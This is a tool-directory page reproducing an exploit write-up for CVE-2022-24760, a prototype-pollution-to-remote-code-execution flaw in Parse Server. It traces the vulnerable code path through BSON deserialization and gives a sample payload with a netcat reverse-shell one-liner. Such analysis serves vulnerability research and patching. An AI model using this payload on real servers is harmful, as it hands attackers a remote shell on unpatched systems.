Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/tuo4n8/cve-2022-24760
Vulnerability AnalysisCode AnalysisExploitationWeb Application Exploitation
GitHubtuo4n8/cve-2022-24760

CVE-2022-24760

View Repository
14 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-24760


flow

image-20220331114046018

image-20220331114258164

  • By default, no key is required to add, delete, or modify classes in the database

image-20220331115258271


Diff commit

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

image-20220331132344135

  • Prototype pollution occurs in the function expandResultOnKeyPath
root@kitploit:~
DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath
  • sanitizeDatabaseResult is used when adding and updating new classes. However, for prototype pollution to work, the condition must be satisfied when the keyUpdate __op belongs to ['Add', 'AddUnique', 'Remove', 'Increment']

  • Therefore, the prototype values can only be array or number

    • image-20220331132813075
    • image-20220331132823843
  • sample request like:

image-20220331133133587

Sink exploit for RCE

  • Before saving data to the database, the data flow will be serialized via the BSON library, when _bsontype is Code, it will proceed to serializeCode

image-20220331133328243

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

  • Then, the data will be deserialized to reach the sink:

image-20220331145339371

image-20220331145403962

image-20220331145421339

  • Use prototype pollution to pollute options['evalFunctions'] -> bypass to the isolateEval function

  • Sample payload

root@kitploit:~
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
  • Since the execution flow of the expandResultOnKeyPath function occurs after deserialization, it is necessary to repeatedly perform a race condition so that when reaching isolateEval, it can be triggered

image-20220331145825647

Download Tool